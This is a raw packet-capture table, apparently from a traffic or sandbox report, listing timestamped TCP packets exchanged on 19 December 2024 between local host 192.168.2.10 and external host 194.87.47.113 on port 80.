Dec 19, 2024 08:21:23.748522043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.748699903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.748827934 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.748859882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.749037981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.749078035 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.749634981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.749743938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.749903917 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.750468969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.750586987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.750725031 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.751229048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.751303911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.751346111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.752003908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.752166986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.752399921 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.752865076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.752933979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.753004074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.753669024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.753834963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.753871918 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.754407883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.754537106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.754578114 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.755223036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.755354881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.755418062 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.755989075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.756105900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.756757021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.756803036 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.756903887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.756941080 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.757559061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.757698059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.758083105 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.758321047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.758466005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.758503914 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.759141922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.759260893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.759507895 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.759924889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.760157108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.760198116 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.760773897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.760849953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.761132956 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.761506081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.761640072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.761677980 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.762312889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.762362003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.762439966 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.763097048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.763191938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.763242006 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.763870955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.763950109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.764273882 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.764846087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.764954090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.765352964 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.765592098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.765680075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.765753031 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.766231060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.810126066 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.835073948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.835107088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.835267067 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.835282087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.835380077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.836137056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.836184025 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.836236000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.836275101 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.836882114 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.836986065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.838654041 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.843559027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.843686104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.843950987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.843998909 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.844060898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.844098091 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.844760895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.844877958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.845541000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.845591068 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.879369974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.879446030 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.879487991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.879781008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.879813910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.879826069 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.880543947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.880619049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.880676031 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.881408930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.881467104 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.881494045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.882142067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.882273912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.882322073 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.882966995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.883017063 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.883017063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.883754969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.883846045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.883899927 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.895837069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.895901918 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.895965099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.896270990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.896313906 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.896348953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.896859884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.896954060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.897002935 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.897650003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.897757053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.897809982 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.898390055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.898431063 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.898513079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.899235964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.899281025 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.899322033 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.900022984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.900100946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.900146008 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.900811911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.900835037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.900859118 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.901598930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.901706934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.901760101 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.902364969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.902407885 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.902476072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.903238058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.903276920 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.917594910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.917764902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.917774916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.917813063 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.917893887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.917931080 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.918535948 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.918673992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.918720961 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.919322014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.919380903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.919617891 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.920103073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.920217991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.920254946 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.920955896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.921125889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.921220064 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.921720028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.921875954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.921916962 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.922885895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.940747976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.940795898 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.940813065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.941036940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.941098928 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.941176891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.941888094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.941922903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.941946030 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.942651987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.942702055 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.942728996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.943413019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.943475962 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.943538904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.944216013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.944339037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.944389105 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.945013046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.945060015 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.945147991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.945779085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.945816994 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.945884943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.946547985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.946576118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.946623087 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.947396040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.947513103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.947556973 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.948153973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.948194027 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.948256969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.948930025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.948971033 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.949029922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.949736118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.949780941 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.949852943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.950552940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.950647116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.950716972 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.951308012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.951356888 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.951389074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.952110052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.952167988 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.952229023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.952872038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.952945948 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.952995062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.953661919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.953718901 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.953782082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.954487085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.954566002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.955292940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.955319881 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.955336094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.955420971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.956032991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.956082106 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.956140995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.956842899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.956906080 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.956948996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.957652092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.957714081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.957721949 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:23.958391905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:23.958436012 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.027275085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.027390003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.027456045 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.028198004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.028326035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.028734922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.028789997 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.028815985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.028868914 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.029203892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.029215097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.029244900 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.035660982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.035742998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.035922050 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.036026001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.036139965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.036185980 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.036803961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.036986113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.037435055 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.037591934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.072208881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.072246075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.072299957 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.072510004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.072680950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.072724104 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.073246956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.073267937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.073457003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.073693037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.073736906 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.073769093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.074152946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.074264050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.074301004 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.075056076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.075095892 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.075158119 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.075742006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.075817108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.075855970 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.087995052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.088043928 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.088088989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.088376999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.088422060 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.088471889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.089160919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.089447021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.089539051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.089560032 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.089601994 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.090266943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.090363026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.091032028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.091094971 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.091144085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.091279984 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.091835976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.091955900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.092037916 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.092628956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.092731953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.093226910 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.093455076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.093534946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.093590021 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.094259024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.094439983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.094495058 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.095087051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.095190048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.095570087 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.110213995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.110322952 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.110471964 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.110579967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.110646009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.110758066 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.111283064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.111350060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.111449003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.111844063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.111922026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.112624884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.112674952 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.112695932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.112772942 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.113456964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.113533020 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.113631010 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.114202023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.114254951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.114295006 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.132837057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.132930994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.132993937 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:24.133212090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:24.133343935 CET	80	49720	194.87.47.113	192.168.2.10
